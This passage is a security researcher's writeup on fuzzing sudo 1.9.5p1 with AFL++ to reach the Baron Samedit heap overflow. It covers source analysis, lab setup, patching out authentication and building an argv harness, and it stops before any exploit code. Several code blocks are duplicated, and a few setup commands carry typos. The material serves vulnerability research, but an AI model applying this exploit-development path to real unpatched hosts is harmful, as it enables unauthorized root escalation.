Fuzzing Sudo (Part I): From NSS to Heap Overflow — Linking CVE-2025-4802 with Baron Samedit (CVE-2021-3156)

0. TL;DR

Heap bugs are still the bread and butter of real-world pwn. Many practical crashes—especially those found through fuzzing—stem from heap-related issues. The key challenge is identifying how to pivot from a crash to a reliable exploit.

This writeup is a field guide—a step-by-step dissection of how we take a crash in sudo and shape it into a privilege escalation exploit. Our lens: the infamous Baron Samedit (CVE-2021-3156), a heap overflow bug that shook the Linux ecosystem, revisited with a new twist.

We'll fold in the freshy publicly released primitive CVE-2025-4802 (but we pwners have have been weaponized with it for years), a setlocale()-triggered heap-feng-shui technique that manipulates NSS (Name Service Switch) internals. Think of this as the prologue to CVE-2025-32463, another NSS-abuse story (to be covered in Part II).

Objectives:

• Fuzz sudo with AFL++ to trigger heap corruption.
• Review and dynamically debug the Baron Samedit overflow (CVE-2021-3156).
• Leverage setlocale() heap feng shui (CVE-2025-4802) to align chunks and poison NSS flows.
• Escalate privileges by hijacking NSS lookups inside sudo.
• Reconstruct the full chain: from fuzzing crash → code review → binary tracing → heap exploit techniques → privilege escalation PoC.

Prereqs for readers:

• Comfort with Linux heap exploitation.
• Familiarity with fuzzing workflows, especially AFL++.
• A hacker's patience for debugging in GDB until your eyes bleed.

1. Victim

1.1. Target Version

Before fuzzing a binary, the first step is reconnaissance: study its lineage of vulnerabilities.

sudo has historically been a prime attack surface on Linux, because of its sensitive usage purpose, suffice to say. Some recent war stories in its CVE history:

And our focus is fuzzing and exploiting heap-based issues, the most relevant and impactful vulnerability among them is:

CVE-2021-3156 (Baron Samedit)

A heap-based buffer overflow in sudoedit, present in:

• sudo 1.8.2 → 1.8.31p2
• sudo 1.9.0 → 1.9.5p1

First unearthed by Qualys: advisory

For this case study, we select sudo-1.9.5p1 as our fuzzing target. The rationale:

• It's the last vulnerable release before the patch dropped in 1.9.5p2.
• It preserves the exploitable heap overflow, but with a slightly fresher codebase than older PoCs — giving us a new attack surface.
• It sets the stage for Part II, where we pivot to CVE-2025-4802 (the setlocale() heap-feng-shui bug in NSS).

In short: we're loading sudo-1.9.5p1 into the fuzzing pit because it's the perfect bridge between the legendary Baron Samedit and the new heap-trick arsenal.

1.2. Challenges

Now that we've locked in our victim (sudo 1.9.5p1), the next question is: how the hell do we fuzz it?

Unlike average command-line binaries, sudo is a fortress: layered execution logic, password prompts, NSS hooks, and mode switches. A dumb stdin fuzz won't even tickle it. To make the fuzzer bite, we need strategy.

1.2.1. Password Prompt

By default, sudo halts at the password wall. In a fuzzing loop, that's game over — we'll just hang forever at a prompt.

Two hacks around this:

• Patch out the auth logic (our choice).
• Or run with a NOPASSWD sudoers config in our lab.

1.2.2. Parameter Constraints

The first argument to sudo (e.g., -l, ls, /bin/bash) determines the entire code path. Fuzzing with garbage values will just short-circuit before hitting juicy code.

Inside parse_args.c, the logic funnels argv[0] through initprogname(), enforcing an allowlist of valid program names. Bad input = wasted fuzz cycles.

In the very early stage of a running sudo process, the parse_args() function funnels argv[0] through initprogname():

C

#define ARG_PROGNAME 12
 { "progname" },
... 

int
parse_args(int argc, char **argv, int *old_optind, int *nargc, char ***nargv,
 			struct sudo_settings **settingsp, char ***env_addp)
{
  ...
  const char *progname;

  /* Pass progname to plugin so it can call initprogname() */
  progname = getprogname();
  ...
}

#define ARG_PROGNAME 12
 { "progname" },
... 

int
parse_args(int argc, char **argv, int *old_optind, int *nargc, char ***nargv,
 			struct sudo_settings **settingsp, char ***env_addp)
{
  ...
  const char *progname;

  /* Pass progname to plugin so it can call initprogname() */
  progname = getprogname();
  ...
}

The called initprogname() is a wrapper for initprogname2() defined in progname.c:

C

void
initprogname2(const char *name, const char * const * allowed)
{
const char *progname;
  int i;
  ...
  /* Check allow list if present (first element is the default). */
  if (allowed != NULL) {
    for (i = 0; ; i++) {
    if (allowed[i] == NULL) {
       name = allowed[0];
       break;
     }
     if (strcmp(allowed[i], name) == 0)
       break;
    }
}
...

void
initprogname2(const char *name, const char * const * allowed)
{
const char *progname;
  int i;
  ...
  /* Check allow list if present (first element is the default). */
  if (allowed != NULL) {
    for (i = 0; ; i++) {
    if (allowed[i] == NULL) {
       name = allowed[0];
       break;
     }
     if (strcmp(allowed[i], name) == 0)
       break;
    }
}
...

It enforces an allowlist of valid program names. Bad input = wasted fuzz cycles.

So:

• Keep the first arg legit, mutate later ones.
• Structure matters more than entropy.

1.2.3. Symlink Aliases

Classic Unix trick: sudoedit is just a symlink to sudo, but its progname flips the binary into MODE_EDIT. Same file, different persona:

$ ls -l /usr/bin/sudoedit
lrwxrwxrwx 1 root root 4 Jul 31 02:41 /usr/bin/sudoedit -> sudo

$ ls -l /usr/bin/sudoedit
lrwxrwxrwx 1 root root 4 Jul 31 02:41 /usr/bin/sudoedit -> sudo

As displayed, /usr/bin/sudoedit is a symlink to /usr/bin/sudo — is central to how sudo internally differentiates its modes.

And we have seen similar implementation in the sudo help page:

$ sudo -h
usage: sudo -e [-AknS] [-C num] [-D directory] [-g group] [-h host] [-p prompt] [-R directory] [-T timeout] [-u user] file ...
  -e, --edit                    edit files instead of running a command
...

$ sudo -h
usage: sudo -e [-AknS] [-C num] [-D directory] [-g group] [-h host] [-p prompt] [-R directory] [-T timeout] [-u user] file ...
  -e, --edit                    edit files instead of running a command
...

They may look similar, but the implementation logic is different.

Continue the argument parsing logic in parse_args.c, we can they both set mode = MODE_EDIT, but with different flag configuration:

C

int
parse_args(int argc, char **argv, int *old_optind, int *nargc, char ***nargv,
			struct sudo_settings **settingsp, char ***env_addp)
{
...

/* First, check to see if we were invoked as "sudoedit". */
proglen = strlen(progname);
if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) 
   {
     progname = "sudoedit";
     mode = MODE_EDIT;
     sudo_settings[ARG_SUDOEDIT].value = "true";
   }

 ...

  for (;;) {
      /*
       * Some trickiness is required to allow environment variables
       * to be interspersed with command line options.
       */
         if ((ch = getopt_long(argc, argv, short_opts, long_opts, NULL)) != -1) {
           switch (ch) {
           ...
          case 'e':
          if (mode && mode != MODE_EDIT)
            usage_excl();
          mode = MODE_EDIT;
            sudo_settings[ARG_SUDOEDIT].value = "true";
            valid_flags = MODE_NONINTERACTIVE;		// [!] Mind this configuration 
          break;                
      ...

int
parse_args(int argc, char **argv, int *old_optind, int *nargc, char ***nargv,
			struct sudo_settings **settingsp, char ***env_addp)
{
...

/* First, check to see if we were invoked as "sudoedit". */
proglen = strlen(progname);
if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) 
   {
     progname = "sudoedit";
     mode = MODE_EDIT;
     sudo_settings[ARG_SUDOEDIT].value = "true";
   }

 ...

  for (;;) {
      /*
       * Some trickiness is required to allow environment variables
       * to be interspersed with command line options.
       */
         if ((ch = getopt_long(argc, argv, short_opts, long_opts, NULL)) != -1) {
           switch (ch) {
           ...
          case 'e':
          if (mode && mode != MODE_EDIT)
            usage_excl();
          mode = MODE_EDIT;
            sudo_settings[ARG_SUDOEDIT].value = "true";
            valid_flags = MODE_NONINTERACTIVE;		// [!] Mind this configuration 
          break;                
      ...

For fuzzing, this means if we poof argv[0] as sudoedit, it brings us into a different logic path.

1.2.4. Argument Fuzzing

Unlike most fuzz targets that slurp stdin or files, sudo lives and dies by argv[]. The parser (parse_args()) handles flags (-h, -e), end markers (--), and even inline env vars (VAR=value).

More argument parsing logic in parse_args.c:

C

int
parse_args(int argc, char **argv, int *old_optind, int *nargc, char ***nargv,
 			struct sudo_settings **settingsp, char ***env_addp)
{
  ...
  /* Returns true if the last option string was "-h" */
#define got_host_flag	(optind > 1 && argv[optind - 1][0] == '-' && \
	    argv[optind - 1][1] == 'h' && argv[optind - 1][2] == '\0')

  /* Returns true if the last option string was "--" */
#define got_end_of_args	(optind > 1 && argv[optind - 1][0] == '-' && \
	    argv[optind - 1][1] == '-' && argv[optind - 1][2] == '\0')

  /* Returns true if next option is an environment variable */
#define is_envar (optind < argc && argv[optind][0] != '/' && \
	    strchr(argv[optind], '=') != NULL)   

  /* Space for environment variables is lazy allocated. */
   memset(&extra_env, 0, sizeof(extra_env));

  /* XXX - should fill in settings at the end to avoid dupes */
  for (;;) {
  /*
	 * Some trickiness is required to allow environment variables
	 * to be interspersed with command line options.
	 */
    if ((ch = getopt_long(argc, argv, short_opts, long_opts, NULL)) != -1) {
	    switch (ch) {
		case 'A':
		    ...
		case 'a':
        	...
		default:
		    usage();
    }
}

int
parse_args(int argc, char **argv, int *old_optind, int *nargc, char ***nargv,
 			struct sudo_settings **settingsp, char ***env_addp)
{
  ...
  /* Returns true if the last option string was "-h" */
#define got_host_flag	(optind > 1 && argv[optind - 1][0] == '-' && \
	    argv[optind - 1][1] == 'h' && argv[optind - 1][2] == '\0')

  /* Returns true if the last option string was "--" */
#define got_end_of_args	(optind > 1 && argv[optind - 1][0] == '-' && \
	    argv[optind - 1][1] == '-' && argv[optind - 1][2] == '\0')

  /* Returns true if next option is an environment variable */
#define is_envar (optind < argc && argv[optind][0] != '/' && \
	    strchr(argv[optind], '=') != NULL)   

  /* Space for environment variables is lazy allocated. */
   memset(&extra_env, 0, sizeof(extra_env));

  /* XXX - should fill in settings at the end to avoid dupes */
  for (;;) {
  /*
	 * Some trickiness is required to allow environment variables
	 * to be interspersed with command line options.
	 */
    if ((ch = getopt_long(argc, argv, short_opts, long_opts, NULL)) != -1) {
	    switch (ch) {
		case 'A':
		    ...
		case 'a':
        	...
		default:
		    usage();
    }
}

This highlights that:

• -h, --, and VAR=value inputs are treated with special logic.
• Environment variables can be interspersed with options, creating complex parsing paths.
• Some options (like -e, -a, etc.) parses user provided argc and argv via getopt_long(), or they cause immediate termination via usage().

Special quirks:

• Env vars can be interleaved with options, creating weird parsing flows.
• Some flags (-e, -a) hit deep code paths; others (-?) just yeet us out with usage().

So the fuzz harness must:

• Inject payloads directly into argv[].
• Respect just enough structure to get past the parser.

Fuzzing sudo isn't “throw bytes at stdin and pray.” It's a chess match. We line up our argv[] like pawns, use symlink tricks to flip modes, and patch out the password lock. Only then does the fuzzer start walking the dangerous paths where heap bugs hide.

But hold on, before fuzzing , our first move will be setting up a proper workstation for our task.

2. Workstation

A vuln lab without the right environment is like fuzzing blind. To reproduce and exploit Baron Samedit reliably, we need a workstation tuned with the right binary + libc combo.

2.1. Target Stack

• GLIBC: 2.27
  • Glibc 2.27 is stable, widely used. We just need to choose a library version that supports tcache (introduced in 2.26)
  • Tough later glibc versions (≥ 2.32) introduce stricter heap integrity checks in tcache, they won't stop our exploit—thus you can take any other choice.
• Base OS: Ubuntu 18.04.6 LTS (x64)
  • Ships with glibc 2.27 out-of-the-box.
  • Bundles sudo 1.8.21p2 by default—patched.

2.2. OS Installation

Spin up a VM or a base-metal machine with Ubuntu 18.04.6 LTS as the base.

My go-to pwn lab recipe:

# Fix apt source list
sudo mv /etc/apt/sources.list /etc/apt/sources.list.bak
sudo vi /etc/apt/sources.list
# 	Patch with main Ubuntu archive
sudo tee /etc/apt/sources.list > /dev/null << 'EOF'
deb http://archive.ubuntu.com/ubuntu bionic main restricted universe multiverse
deb http://archive.ubuntu.com/ubuntu bionic-updates main restricted universe multiverse
deb http://archive.ubuntu.com/ubuntu bionic-security main restricted universe multiverse
EOF
# 	Update apt
sudo apt update
sudo apt clean
sudo apt update --fix-missing
sudo apt install -f

# Install essential tools
sudo apt install -y build-essential gdb git curl wget unzip tmux htop net-tools vim zsh \
                		python3 python3-pip python3-venv python3-ipython \
                		openssh-client openssh-server

# Install Rust 
curl https://sh.rustup.rs -sSf | sh -s -- -y
source $HOME/.cargo/env
# 	Install required build tools
sudo apt install -y build-essential python3-dev libffi-dev libssl-dev
# 	Install setuptools-rust for pip to build bcrypt
pip3 install --upgrade pip setuptools setuptools-rust wheel

# Install Python pwn stuff
pip3 install pwntools ropper ROPGadget

# Ruby
git clone https://github.com/rbenv/rbenv.git ~/.rbenv
cd ~/.rbenv && src/configure && make -C src
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' | tea -a ~/.zshrc
echo 'eval "$(rbenv init - zsh)"' | tea -a ~/.zshrc
source ~/.zshrc
git clone https://github.com/rbenv/ruby-build.git ~/.rbenv/plugins/ruby-build
#	Required dependencies
sudo apt install -y libyaml-dev libreadline-dev libncurses5-dev
# 	Install Ruby 3.2.2 (or newer)
rbenv install 3.2.2
rbenv global 3.2.2
#	Install Ruby pwn stuff
gem install one_gadget seccomp-tools

# Pwndbg 
mkdir -p ~/pwn && cd ~/pwn
git clone -b ubuntu18.04-final https://github.com/pwndbg/pwndbg.git
cd pwndbg
./setup.sh

# Install Debug Symbols for GDB
#	Enable the ddebs repository
sudo apt install -y ubuntu-dbgsym-keyring
echo "deb http://ddebs.ubuntu.com bionic main restricted universe multiverse
deb http://ddebs.ubuntu.com bionic-updates main restricted universe multiverse" | \
sudo tee /etc/apt/sources.list.d/ddebs.list
sudo apt update
# 	Install debug symbol
sudo apt install libc6-dbg

# AFLplusplus
makedir -p ~/fuzz/tools && cd ~/fuzz/tools
# 	llvm15 for lto
wget https://apt.llvm.org/llvm.sh
sudo bash llvm.sh 15
sudo ln -s /usr/bin/llvm-config-15 /usr/local/bin/llvm-config
# 	AFL++
git clone https://github.com/AFLplusplus/AFLplusplus.git
cd AFLplusplus
#	Install dependencies
sudo apt install -y ninja-build automake autoconf libtool libglib2.0-dev pkg-config gpg
git submodule update --init --recursive
#	Install modern cmake (required by unicornafl)
wget -qO - https://apt.kitware.com/keys/kitware-archive-latest.asc | sudo gpg --dearmor -o /usr/share/keyrings/kitware-archive-keyring.gpg
echo 'deb [signed-by=/usr/share/keyrings/kitware-archive-keyring.gpg] https://apt.kitware.com/ubuntu/ bionic main' | sudo tee /etc/apt/sources.list.d/kitware.list
sudo apt update
sudo apt install -y cmake
#	Compile 
LLVM_CONFIG=llvm-config make distrib -j"$(nproc)"
# 	Fix unicornafl for afl-showmap, if failed
cd ~/fuzz/tools/AFLplusplus/unicorn_mode
sudo python3 setup.py install --force                                                                                          
# 	System-wide install
sudo make install

# Fix apt source list
sudo mv /etc/apt/sources.list /etc/apt/sources.list.bak
sudo vi /etc/apt/sources.list
# 	Patch with main Ubuntu archive
sudo tee /etc/apt/sources.list > /dev/null << 'EOF'
deb http://archive.ubuntu.com/ubuntu bionic main restricted universe multiverse
deb http://archive.ubuntu.com/ubuntu bionic-updates main restricted universe multiverse
deb http://archive.ubuntu.com/ubuntu bionic-security main restricted universe multiverse
EOF
# 	Update apt
sudo apt update
sudo apt clean
sudo apt update --fix-missing
sudo apt install -f

# Install essential tools
sudo apt install -y build-essential gdb git curl wget unzip tmux htop net-tools vim zsh \
                		python3 python3-pip python3-venv python3-ipython \
                		openssh-client openssh-server

# Install Rust 
curl https://sh.rustup.rs -sSf | sh -s -- -y
source $HOME/.cargo/env
# 	Install required build tools
sudo apt install -y build-essential python3-dev libffi-dev libssl-dev
# 	Install setuptools-rust for pip to build bcrypt
pip3 install --upgrade pip setuptools setuptools-rust wheel

# Install Python pwn stuff
pip3 install pwntools ropper ROPGadget

# Ruby
git clone https://github.com/rbenv/rbenv.git ~/.rbenv
cd ~/.rbenv && src/configure && make -C src
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' | tea -a ~/.zshrc
echo 'eval "$(rbenv init - zsh)"' | tea -a ~/.zshrc
source ~/.zshrc
git clone https://github.com/rbenv/ruby-build.git ~/.rbenv/plugins/ruby-build
#	Required dependencies
sudo apt install -y libyaml-dev libreadline-dev libncurses5-dev
# 	Install Ruby 3.2.2 (or newer)
rbenv install 3.2.2
rbenv global 3.2.2
#	Install Ruby pwn stuff
gem install one_gadget seccomp-tools

# Pwndbg 
mkdir -p ~/pwn && cd ~/pwn
git clone -b ubuntu18.04-final https://github.com/pwndbg/pwndbg.git
cd pwndbg
./setup.sh

# Install Debug Symbols for GDB
#	Enable the ddebs repository
sudo apt install -y ubuntu-dbgsym-keyring
echo "deb http://ddebs.ubuntu.com bionic main restricted universe multiverse
deb http://ddebs.ubuntu.com bionic-updates main restricted universe multiverse" | \
sudo tee /etc/apt/sources.list.d/ddebs.list
sudo apt update
# 	Install debug symbol
sudo apt install libc6-dbg

# AFLplusplus
makedir -p ~/fuzz/tools && cd ~/fuzz/tools
# 	llvm15 for lto
wget https://apt.llvm.org/llvm.sh
sudo bash llvm.sh 15
sudo ln -s /usr/bin/llvm-config-15 /usr/local/bin/llvm-config
# 	AFL++
git clone https://github.com/AFLplusplus/AFLplusplus.git
cd AFLplusplus
#	Install dependencies
sudo apt install -y ninja-build automake autoconf libtool libglib2.0-dev pkg-config gpg
git submodule update --init --recursive
#	Install modern cmake (required by unicornafl)
wget -qO - https://apt.kitware.com/keys/kitware-archive-latest.asc | sudo gpg --dearmor -o /usr/share/keyrings/kitware-archive-keyring.gpg
echo 'deb [signed-by=/usr/share/keyrings/kitware-archive-keyring.gpg] https://apt.kitware.com/ubuntu/ bionic main' | sudo tee /etc/apt/sources.list.d/kitware.list
sudo apt update
sudo apt install -y cmake
#	Compile 
LLVM_CONFIG=llvm-config make distrib -j"$(nproc)"
# 	Fix unicornafl for afl-showmap, if failed
cd ~/fuzz/tools/AFLplusplus/unicorn_mode
sudo python3 setup.py install --force                                                                                          
# 	System-wide install
sudo make install

2.2. Glibc Source

For deep heap analysis we want the exact Ubuntu-patched glibc 2.27. This avoids mismatches with GNU upstream and ensures our workstation mirrors what ships in Ubuntu 18.04.

Pull it straight from the Ubuntu source archive:

mkdir -p ~/source && cd ~/source

wget http://archive.ubuntu.com/ubuntu/pool/main/g/glibc/glibc_2.27-3ubuntu1.6.dsc
wget http://archive.ubuntu.com/ubuntu/pool/main/g/glibc/glibc_2.27.orig.tar.xz
wget http://archive.ubuntu.com/ubuntu/pool/main/g/glibc/glibc_2.27-3ubuntu1.6.debian.tar.xz

dpkg-source -x glibc_2.27-3ubuntu1.6.dsc

mkdir -p ~/source && cd ~/source

wget http://archive.ubuntu.com/ubuntu/pool/main/g/glibc/glibc_2.27-3ubuntu1.6.dsc
wget http://archive.ubuntu.com/ubuntu/pool/main/g/glibc/glibc_2.27.orig.tar.xz
wget http://archive.ubuntu.com/ubuntu/pool/main/g/glibc/glibc_2.27-3ubuntu1.6.debian.tar.xz

dpkg-source -x glibc_2.27-3ubuntu1.6.dsc

This is the exact glibc version for Ubuntu (slightly different from the GNU release one).

2.3. Compilation

Next, grab the target sudo release:

mkdir -p ~/source && cd ~/source
git clone https://github.com/sudo-project/sudo.git
git checkout v1.9.5p1

mkdir -p ~/source && cd ~/source
git clone https://github.com/sudo-project/sudo.git
git checkout v1.9.5p1

I kept two copies: one pristine for code audits, one instrumented for fuzzing:

mkdir -p ~/fuzz/proj
cp -r ~/source/sudo ~/source/sudo-1.9.5p1
cp -r ~/source/sudo ~/fuzz/proj/sudo-1.9.5p1/src

mkdir -p ~/fuzz/proj
cp -r ~/source/sudo ~/source/sudo-1.9.5p1
cp -r ~/source/sudo ~/fuzz/proj/sudo-1.9.5p1/src

Build the fuzzing target with a local install prefix:

cd ~/fuzz/proj/sudo-1.9.5p1/src

# To install it to a local directory
mkdir -p ~/fuzz/proj/sudo-1.9.5p1/install
./autogen.sh
./configure --prefix=$HOME/fuzz/proj/sudo-1.9.5p1/install --disable-shared 
make -j$(nproc)
sudo make install

cd ~/fuzz/proj/sudo-1.9.5p1/src

# To install it to a local directory
mkdir -p ~/fuzz/proj/sudo-1.9.5p1/install
./autogen.sh
./configure --prefix=$HOME/fuzz/proj/sudo-1.9.5p1/install --disable-shared 
make -j$(nproc)
sudo make install

Gotcha: on some setups, compilation fails in logsrvd/Makefile.in because libsudo_util.la isn't linked. Fix it by adding at line 45:

Makefile

LT_LIBS = $(top_builddir)/lib/iolog/libsudo_iolog.la \
      	  $(top_builddir)/lib/eventlog/libsudo_eventlog.la \
      	  $(top_builddir)/lib/logsrv/liblogsrv.la \
      	  $(top_builddir)/lib/util/libsudo_util.la

LT_LIBS = $(top_builddir)/lib/iolog/libsudo_iolog.la \
      	  $(top_builddir)/lib/eventlog/libsudo_eventlog.la \
      	  $(top_builddir)/lib/logsrv/liblogsrv.la \
      	  $(top_builddir)/lib/util/libsudo_util.la

We add the last line /lib/util/libsudo_util.la to fix it with our environment.

Then re-run:

make clean && make -j$(nproc)

make clean && make -j$(nproc)

At this point you've got:

• A clean sudo-1.9.5p1 tree for static/dynamic audits.
• A fuzz-ready binary installed under ~/fuzz/proj/sudo-1.9.5p1/install.

3. Harness

With the workstation locked and loaded, we need a fuzzing harness. Throwing garbage at sudo blindly won't get us anywhere — it'll just hang at a password prompt or bail out at argument parsing. A good harness cuts through the noise, bypasses blockers, and forces the binary down dangerous paths.

For open-source targets like sudo, we have the luxury of source patches and controlled test scaffolds. This not only keeps fuzzing efficient, but also lets us zero in on logic flows where real bugs lurk.

3.1. Kill Password Auth

First roadblock: authentication. By default, sudo spawns a password prompt on tty. In a fuzz loop, that means hang city — no progress, no crashes.

Solution: neuter the auth check.

This means we can patch the password verification routine to always succeed (or fail immediately), avoiding the interactive prompt entirely.

Succeed or Fail?

In real-world exploitation, attackers often don't know valid creds. Imagine, a bug with password required is much worthless. Fuzzing unauthenticated paths always gives us more bounty.

Inside plugins/sudoers/auth/sudo_auth.c, the verify_user() routine controls login success. We patch it to short-circuit immediately:

Always return false (0) to simulate failed login. By adding this very early false return, the rest code snippet is then cut off.

3.2. Arguments Fuzzing

Next hurdle: sudo doesn't slurp from stdin or files like a typical fuzz target. Its main input surface is command-line arguments (argv[]).

To fuzz this properly, we hook into AFL++'s argument fuzzing helper: argv-fuzz-inl.h. This little header turns AFL's mutated bytes into synthetic argv[] arrays for our binary.

3.2.1. AFL Implementation

The argv-fuzz-inl.h is a helper used to fuzz command-line arguments (argv[]) with AFL++, instead of fuzzing standard input (stdin) — the fuzzing payload becomes the simulated command-line arguments passed to main(int argc, char argv).

It provides several pre-defined macros and functions. The AFL_INIT_SET0 macro is commonly used for fuzzing programs that take command-line arguments, while keeping the program name (argv[0]) fixed and unmutated.

#define AFL_INIT_SET0(_p)        \
  do {                           \
                                 \
    argv = afl_init_argv(&argc); \
    argv[0] = (_p);              \
    if (!argc) argc = 1;         \
                                 \
  } while (0)

#define AFL_INIT_SET0(_p)        \
  do {                           \
                                 \
    argv = afl_init_argv(&argc); \
    argv[0] = (_p);              \
    if (!argc) argc = 1;         \
                                 \
  } while (0)

This does two things:

1. Replace argv[] with fuzzed input parsed from stdin
2. Preserves argv[0] as a fixed string (_p), e.g., "sudo" or "sudoedit"

On the other hand, AFL_INIT_ARGV() fuzzes the entire argv[] array, including argv[0] (i.e., the program name):

C

#define AFL_INIT_ARGV()         \
do {                            \
 argv = afl_init_argv(&argc);   \
} while (0)

#define AFL_INIT_ARGV()         \
do {                            \
 argv = afl_init_argv(&argc);   \
} while (0)

Typically we use this one when we want to explore different execution modes of a binary that switches behavior based on different progname.

Under the hood, the macros call afl_init_argv():

static char **afl_init_argv(int *argc) {

    static char  in_buf[MAX_CMDLINE_LEN];
    static char *ret[MAX_CMDLINE_PAR];

    char *ptr = in_buf;
    int   rc = 0;

    ssize_t num = read(0, in_buf, MAX_CMDLINE_LEN - 2);
    if (num < 1) { _exit(1); }
    in_buf[num] = '\0';
    in_buf[num + 1] = '\0';

    while (*ptr && rc < MAX_CMDLINE_PAR) {

    ret[rc] = ptr;
    if (ret[rc][0] == 0x02 && !ret[rc][1]) ret[rc]++;
    rc++;

    while (*ptr)
      ptr++;
    ptr++;

    }

    *argc = rc;

    return ret;

}

static char **afl_init_argv(int *argc) {

    static char  in_buf[MAX_CMDLINE_LEN];
    static char *ret[MAX_CMDLINE_PAR];

    char *ptr = in_buf;
    int   rc = 0;

    ssize_t num = read(0, in_buf, MAX_CMDLINE_LEN - 2);
    if (num < 1) { _exit(1); }
    in_buf[num] = '\0';
    in_buf[num + 1] = '\0';

    while (*ptr && rc < MAX_CMDLINE_PAR) {

    ret[rc] = ptr;
    if (ret[rc][0] == 0x02 && !ret[rc][1]) ret[rc]++;
    rc++;

    while (*ptr)
      ptr++;
    ptr++;

    }

    *argc = rc;

    return ret;

}

Encoding quirks:

• Arguments are NUL-delimited (\0).
• End of argv is marked by double-NUL (\0\0).
• Empty args encoded as 0x02 0x00.

This approach allows afl-fuzz to mutate command-line arguments just like it mutates files — enabling deep testing of argument parsing logic.

Example: fuzz input that mimics sudo -u root id would be:

73 75 64 6f 00 2d 75 00 72 6f 6f 74 00 69 64 00 00

73 75 64 6f 00 2d 75 00 72 6f 6f 74 00 69 64 00 00

Which maps to:

"sudo\0-u\0root\0id\0\0"

"sudo\0-u\0root\0id\0\0"

After calling AFL_INIT_SET0("sudo"), argv[] becomes:

argv[0] = "sudo";      // fixed manually
argv[1] = "-u";        // from fuzzed input
argv[2] = "root";
argv[3] = "id";
argv[4] = NULL;

argv[0] = "sudo";      // fixed manually
argv[1] = "-u";        // from fuzzed input
argv[2] = "root";
argv[3] = "id";
argv[4] = NULL;

The harness is our cheat code. By patching auth and wiring in argv[] fuzzing, we don't waste cycles on prompts or invalid entry points.

3.2.2. Hook Sudo Argv

To fuzz sudo's command-line arguments, we need to wire AFL++ into its main() by including the helper header:

#include "/home/pwn/fuzz/tools/AFLplusplus/utils/argv_fuzzing/argv-fuzz-inl.h"

#include "/home/pwn/fuzz/tools/AFLplusplus/utils/argv_fuzzing/argv-fuzz-inl.h"

AFLplusplus provides utils/argv_fuzzing/argv_fuzz_demo.c to illustrate the fundamental usage for these utilities.

Locate the main() function in src/sudo.c at line 150, and hook argv[] as follow:

This way fuzz the first argument argv[0] (progname or __progname) as well. But from the previous analyzed source code, we see the it actually validates the program name—meaning we should try the other macro AFL_INIT_SET0.

3.2.3. Argv Constraints

Problem: sudo enforces a whitelist of valid program names very early in main():

const char * const allowed_prognames[] = { "sudo", "sudoedit", NULL };
initprogname2(argc > 0 ? argv[0] : "sudo", allowed_prognames);

const char * const allowed_prognames[] = { "sudo", "sudoedit", NULL };
initprogname2(argc > 0 ? argv[0] : "sudo", allowed_prognames);

and then:

/* Only allow "sudo" or "sudoedit" as the program name. */
initprogname2(argc > 0 ? argv[0] : "sudo", allowed_prognames);

/* Only allow "sudo" or "sudoedit" as the program name. */
initprogname2(argc > 0 ? argv[0] : "sudo", allowed_prognames);

Meaning:

• If argv[0] isn't "sudo" or "sudoedit", execution dies instantly.
• Wasting fuzz cycles on invalid names.

So for accurate fuzzing, we generally use AFL_INIT_SET0("sudo") (or "sudoedit") to pin argv[0] and let AFL mutate the rest:

3.2.4. Override Progname

But there's a twist.

The function initprogname2() in lib/util/progname.c doesn't just trust argv[0]. On Linux, it can override it with the global symbol __progname (set up by crt0).

#include <config.h>

...

// [1] On systems that support getprogname() (e.g., BSD variants),
#ifdef HAVE_GETPROGNAME

# ifndef HAVE_SETPROGNAME
/* Assume __progname if have getprogname(3) but not setprogname(3). */
extern const char *__progname;	// Global variable

void
sudo_setprogname(const char *name)	// Substitution for the missing setprogname
{
  ...	// Just logic to define it as the global __progname
}
# endif
    
void
initprogname2(const char *name, const char * const * allowed)
{
  ... 	// logic to use getprogname() syscall to initialize program name 
}

// [2] On systems without getprogname() (e.g., non-BSD Linux)
#else /* !HAVE_GETPROGNAME */

static const char *progname = "";	

void
initprogname2(const char *name, const char * const * allowed)
{
  int i;
// [2-1] Config 
# ifdef HAVE___PROGNAME
  extern const char *__progname;	// Global variable

  if (__progname != NULL && *__progname != '\0')
      progname = __progname;	// Use __progname 
  else
# endif
  ... // logic to define program name if there's no HAVE___PROGNAME config
}

...

#include <config.h>

...

// [1] On systems that support getprogname() (e.g., BSD variants),
#ifdef HAVE_GETPROGNAME

# ifndef HAVE_SETPROGNAME
/* Assume __progname if have getprogname(3) but not setprogname(3). */
extern const char *__progname;	// Global variable

void
sudo_setprogname(const char *name)	// Substitution for the missing setprogname
{
  ...	// Just logic to define it as the global __progname
}
# endif
    
void
initprogname2(const char *name, const char * const * allowed)
{
  ... 	// logic to use getprogname() syscall to initialize program name 
}

// [2] On systems without getprogname() (e.g., non-BSD Linux)
#else /* !HAVE_GETPROGNAME */

static const char *progname = "";	

void
initprogname2(const char *name, const char * const * allowed)
{
  int i;
// [2-1] Config 
# ifdef HAVE___PROGNAME
  extern const char *__progname;	// Global variable

  if (__progname != NULL && *__progname != '\0')
      progname = __progname;	// Use __progname 
  else
# endif
  ... // logic to define program name if there's no HAVE___PROGNAME config
}

...

The purpose of the progname.c file is to initialize and manage the program name (progname) used internally by sudo, under different OS and environment.

Our deployed environment is a non-BSD Linux, thus the code will head into branch [2] by skipping [1]. Then the code path will be decided on if HAVE___PROGNAME is configured. Before running ./configure ... we see this options listed in the config.h.in at line 1015 under the source root:

/* Define to 1 if your crt0.o defines the __progname symbol for you. */
#undef HAVE___PROGNAME

/* Define to 1 if your crt0.o defines the __progname symbol for you. */
#undef HAVE___PROGNAME

But once we run ./autogen.sh and ./configure ... with no special flags specified, it's set to 1 by default:

Translation: we think we're fuzzing argv[0], but the binary cheats and resets it—no matter what AFL injects, progname snaps back to __progname.

To actually fuzz argv[0], we must stop this normalization. Simply null out this section in progname.c by:

This leaves argv[0] raw and fuzzer-controlled

3.3. Harness Compilation

Once we've patched the source for auth bypass and argv[] fuzzing, it's time to build.

Configure the harness with AFL++ as the compiler, plus sanitizers for crash fidelity:

cd ~/fuzz/proj/sudo-1.9.5p1/src

# To install it to a local directory
mkdir -p ~/fuzz/proj/sudo-1.9.5p1/harness
./autogen.sh

# Configure AFLplusplus compiler and sanitizers:
CC=afl-clang-lto CXX=afl-clang-lto++ \
./configure --prefix=$HOME/fuzz/proj/sudo-1.9.5p1/harness --disable-shared --enable-static \
        	  CFLAGS="-fsanitize=address,undefined -g" \
          	LDFLAGS="-fsanitize=address,undefined -g" \
          	LIBS="-lcrypt"

